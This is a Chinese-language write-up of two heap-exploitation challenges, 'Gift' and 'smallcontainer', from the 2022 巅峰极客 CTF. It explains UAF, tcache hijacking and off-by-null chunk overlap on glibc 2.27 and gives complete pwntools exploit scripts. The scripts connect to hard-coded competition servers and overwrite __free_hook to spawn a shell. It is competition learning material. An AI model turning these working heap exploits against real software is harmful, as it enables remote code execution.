Gift


检查保护机。这题没给libc,我是通过 double free 以及打印fd的内容,判断版本应该是在2.27,小版本我直接用到了最高的去调试。

最多申请十个堆块,只能申请size为0x100或者0x60的堆块,申请后输入的长度比申请少0x10。

释放堆块存在UAF。

只能打印堆块+0x10后的内容。

这里的v2是有符号数,所以如果为负数时,就可以让一个堆块的fd指针加上一个较大的数。

这题花了挺多时间进行构造的,难点在于泄露地址后,再达成一次任意写会发现堆块申请次数不够用,要进行更加节省的构造才行。

想要达成任意写,如果是修改fd,这题又只有在申请堆块时才可以进行写堆块,那么就得申请三次才能达成,在次数紧张的情况下,我又没想到有其他布局可以节省泄露地址使用的次数,就想到了可以通过劫持 tcache bin,修改上面的内容,只需要两次就可以做到任意地址写,节省了一次。

在泄露出堆地址之后,修改fd指针,指向0x70堆块的前0x10位置,然后将堆块分配过去,进行修改0x70的fd指针。这里的三个堆块size是错开的,防止进入同一个tcache bin中。而选择修改0x70堆块覆盖tcache,是因为记录第一个被释放的0x70堆块比较靠前,如果是0x110的太靠后,可写长度不足以覆盖到。

这一步的构造算是最巧的一步了,当初也想了挺久的。在把堆块分配过去后,为了能够出现libc地址,需要去伪造一个size至少为0x420的堆块,所以我借助部分的tcache bin加上之前申请的堆块进行伪造大堆块,(同时这也是另外一个需要申请两个0x110堆块的理由,如果是两个0x70的堆块是不够长的);且需要将其释放掉,则在属于0x70的位置上填入了伪造堆块的地址,可以让堆块分配过来。

伪造fake chunk时,还需要伪造一个尾部堆块,保持堆块内存的连续性。

释放后成功获得libc地址,此时已经申请了八次堆块,还剩下两次申请机会。

两次刚好足够,一次填写地址,一次分配堆块达成任意写,这次就不要再用0x70分配,透支了两次,已经坏掉了。最开始是想要填入system地址的,但是因为堆块的前0x10都是已经填入了内容,使用了||貌似也没办法忽略,所以最后还是用了one_gadget getshell。

exp:

#!usr/bin/env python
#coding=utf-8
from pwn import *
context(arch = 'amd64',os = 'linux',log_level = 'debug')
elf = ELF('./pwn')
DEBUG = 0
if DEBUG:libc = ELF("/home/shoucheng/tools/glibc-all-in-one/libs/2.27-3ubuntu1.6_amd64/libc-2.27.so")ld = ELF("/home/shoucheng/tools/glibc-all-in-one/libs/2.27-3ubuntu1.6_amd64/ld-2.27.so")p = process(argv=[ld.path,elf.path], env={"LD_PRELOAD" : libc.path})
else:ip = '123.56.45.214'port = 33027libc = ELF("./libc-2.27.so")p = remote(ip, port)def debug(info="b main"):gdb.attach(p, info)#gdb.attach(p, "b *$rebase(0x)")def add(size, content):p.sendlineafter(b"your choice:\n", b'2')p.recvuntil(b"your choice:\n")if size == 0x100:p.sendline(b'1')else:p.sendline(b'2')p.recvuntil(b"plz write your wish on your gift!\n")p.send(content)def show(idx):p.sendlineafter(b"your choice:\n", b'4')p.recvuntil(b"index?\n")p.sendline(str(idx).encode('ascii'))def free(idx):p.sendlineafter(b"your choice:\n", b'3')p.recvuntil(b"index?\n")p.sendline(str(idx).encode('ascii'))add(0x100, 'a')
add(0x60, 'a')
add(0x100, b'a'*0x70 + p64(0) + p64(0x81))
free(0)
free(2)
show(2)
p.recvuntil(b"cost: ")
heap = int(p.recv(14), 10) - 0x250
log.info("heap==>0x%x" %heap)
p.sendlineafter(b"your choice:\n", b'5')
p.recvuntil(b"index?\n")
p.sendline('2')
p.recvuntil("How much?\n")
p.send(b'-240')
free(1)
add(0x100, 'a')
add(0x100, p64(0) + p64(0x71) + p64(heap + 0x20))
add(0x60, 'a')
add(0x60, p64(0) + p64(0x421) + p64(0)*5 + p64(heap + 0x40))
add(0x60, 'a')
free(7)
show(7)
p.recvuntil(b"cost: ")
leak = int(p.recv(16), 10) - 0x3ebca0
log.info("libc_base==>0x%x" %leak)
free_hook = leak + libc.sym['__free_hook']
sys = leak + libc.sym['system']
ogg = leak + 0x4f302
add(0x100, b"||sh"*2 + p64(0)*12 + p64(free_hook - 0x20))
add(0x100, p64(0)*2 + p64(ogg))
#debug()
free(8)
#debug()
p.interactive()

smallcontainer

首先确定附件的保护机制以及libc版本号。

可以申请最多17个堆块,大小范围在 0xFF~0x3FF之间,记录堆块地址以及堆块大小。

这里的输入完内容后执行的函数存在问题:填满堆块时,如果下一个堆块的size存在0x11结尾,将会被置0,可看为offbynull。

只能打印fd上的内容。

正常释放堆块,且置0。

显然是要利用offbynull构造堆块重叠,从而泄露地址以及错位修改fd指针,达到任意地址写的目的。

先填充 tcache bin,0x210作为我们的目标堆块。

然后在目标堆块里面,把减少的0x11伪造为一个堆块,保持堆块的连续性。

接着,填充前一个堆块,修改目标堆块的size位。

在将prev size位修改为前几个堆块的总和size,最后释放合并,覆盖堆块就完成了。顺带提一嘴,这样在2.27前还能利用成功,在2.29及以上,就会失败了,程序会去检查头堆块的size是否有prev size这么大。

接下来就是泄露地址,然后错位修改堆块的fd指针,就做完了。

exp:

#!usr/bin/env python
#coding=utf-8
from pwn import *
context(arch = 'amd64',os = 'linux',log_level = 'debug')
elf = ELF('./smallcontainer')
DEBUG = 0
if DEBUG:libc = ELF("/home/shoucheng/tools/glibc-all-in-one/libs/2.27-3ubuntu1.6_amd64/libc-2.27.so")ld = ELF("/home/shoucheng/tools/glibc-all-in-one/libs/2.27-3ubuntu1.6_amd64/ld-2.27.so")p = process(argv=[ld.path,elf.path], env={"LD_PRELOAD" : libc.path})
else:ip = '101.200.85.91'port = 37238libc = ELF("./libc-2.27.so")p = remote(ip, port)def debug(info="b main"):gdb.attach(p, info)#gdb.attach(p, "b *$rebase(0x)")def add(size):p.sendlineafter(b"> ", b'1')p.recvuntil(b"Input size: ")p.send(str(size).encode('ascii'))def show(idx):p.sendlineafter(b"> ", b'4')p.recvuntil(b"Input index: ")p.sendline(str(idx).encode('ascii'))def free(idx):p.sendlineafter(b"> ", b'2')p.recvuntil("Input index: ")p.sendline(str(idx).encode('ascii'))def edit(idx, content):p.sendlineafter(b"> ", b'3')p.recvuntil("Input index: ")p.sendline(str(idx).encode('ascii'))p.send(content)add(0x1f8)
add(0x1f8)
add(0x1f8)
add(0x208)
for i in range(4,11):add(0x1f8)
for i in range(4,11):free(i)
edit(3, b'a'*0x1f0 + p64(0) + p64(0x11))
edit(2, b'a'*0x1f8)
edit(2, b'a'*0x1f0 + p64(0x600))
free(0)
free(3)
add(0x100)
show(0)
#p.recvuntil("0x")
leak = int(p.recv(12),16) - 0x3ec190
log.info("libc_base==>0x%x" %leak)
free_hook = leak + libc.sym['__free_hook']
sys = leak + libc.sym['system']
add(0x310)
for i in range(7):add(0x1f8)
free(1)
edit(3 ,b'/bin/sh\x00' + b'a'*0xd8 + p64(0) + p64(0x201) + p64(free_hook))
add(0x1f8)
add(0x1f8)
edit(11, p64(sys))
free(3)
#debug()p.interactive()

happy_note

2022巅峰极客PWN相关推荐

  1. 2022巅峰极客WriteUp By EDISEC

    2022巅峰极客WriteUp By EDISEC Web babyweb ezWeb Crypto point-power strange curve Pwn Gift smallcontainer ...

  2. 巅峰极客pwn wp

    Pwn gift 程序保护全开 程序功能: add:最多只能申请十次堆块,每次申请大小为0x60或0x100,往里写内容的时候是往user_data+0x10处写. delete:有UAF show: ...

  3. 巅峰极客2022初赛 部分题解

    文章目录 Crypto point-power strange curve Misc easy_Forensic Lost 巅峰极客2022初赛,团队共解决7道题,合计2234分,排名第11位,晋级复 ...

  4. 巅峰极客2022wp

    巅峰极客2022 文章目录 巅峰极客2022 web babyweb ezWeb web babyweb 提示cbc padding oracle攻击,这是一个服务端的密码学漏洞,buu上做过原题[N ...

  5. 2020巅峰极客wp

    2020巅峰极客 巅峰极客是给开封市信网办做护网的时候打的比赛,所以比赛体验感并不好,简单写一下wp virus-re 代码分为三部分 以'-'为间隔,将flag的第一部分转换为整型数字,并且满足后项 ...

  6. 2018巅峰极客writeup(Misc)

    原文地址:https://mistsatan.github.io/articles/2018-Peakgeek-Writeup-Misc.html 作为一个渣渣,带着去看各路神仙打架的想法报名了这次的 ...

  7. 巅峰极客第一场CTF部分writeup

    额,上午驾校学车,中午打了会儿安恒的月赛,就来看巅峰极客的题了.时间关系实力原因没做几个emmmm太菜了wa MISC-warmup-100pt 拿到一个bmp文件,套路走一波,右键查看属性emmm啥 ...

  8. [代码审计][PHAR]巅峰极客babyphp2学习压缩过滤器触发phar

    前言:我要当赛棍!!! 文章目录 序列化与反序列化 基本介绍 PHP反序列化漏洞原理 常用的魔法函数 __wakeup()绕过:CVE-2016-7124 __set:巅峰极客babyphp2 解决p ...

  9. 巅峰极客2021 what_pickle——一道综合性的python web

    前言 这题好像是最少人做出的web,考察的知识点比较多,综合性比较强,感觉挺有意思的.很多人都是卡在某个知识点,尤其是最后读flag阶段.总的来说,由于这题涉及到各种很经典的python安全的知识点, ...

最新文章

  1. 【功率控制】无线光通信-CDMA中闭环链路的功率控制MATLAB仿真
  2. Windows Azure Storage (10) Windows Azure 上的托管服务CDN (下) Hosted Service
  3. 铁钉的blog地址 http://nails.blog.51cto.com
  4. 前端学习(3285):立即执行函数四
  5. 入门大爆炸式发展的深度学习,你先要了解这6个著名框架
  6. 后端程序员必备:索引失效的十大杂症
  7. webpack插件实现自动抽取css中的主题色样式,并动态切换主题色(element-ui)
  8. 微软Silverlight 3正式版
  9. 将四个按钮放入一个父控件的好处:方便移动,只需要改变父控件的y值,就可移动四个按钮...
  10. amd速龙黑苹果内核补丁_替换AMD内核安装10.9.2超级懒人版成功
  11. 机器学习预测股票涨跌
  12. 遍历目录 nftw and ftw
  13. Exchange Web Service(EWS) 协议同步邮件
  14. 【暑期每日一题】洛谷 P1551 亲戚
  15. css强制换行和超出隐藏实现(单行和多行)
  16. 已安装visual studio 如何添加新模板和组件
  17. Excel 合并单元格 ,换行,过滤空单元格
  18. JavaScript增加和删除DOM节点
  19. 基于JAVA东理咨询交流论坛计算机毕业设计源码+系统+数据库+lw文档+部署
  20. 线程池ThreadPoolExecutor使用简介

热门文章

  1. 中医四诊之五音 --详解
  2. 数组操作 reverse()方法
  3. 在python中可以用什么关键字来声明一个类_Python 定义类
  4. python画像素分布图
  5. plt转pdf软件_微信小程序重磅更新!PDF转Word,无需下载软件一键搞定!
  6. spring 配置连接池时 各个属性的介绍
  7. 公共rtsp_可用rtsp地址
  8. 阿里巴巴研发效能数据知多少?
  9. linux php oracle 乱码,Linux安装Oracle中文乱码的解决
  10. JQuery框架中使用blockUI制作自定义的漂亮的网页提示框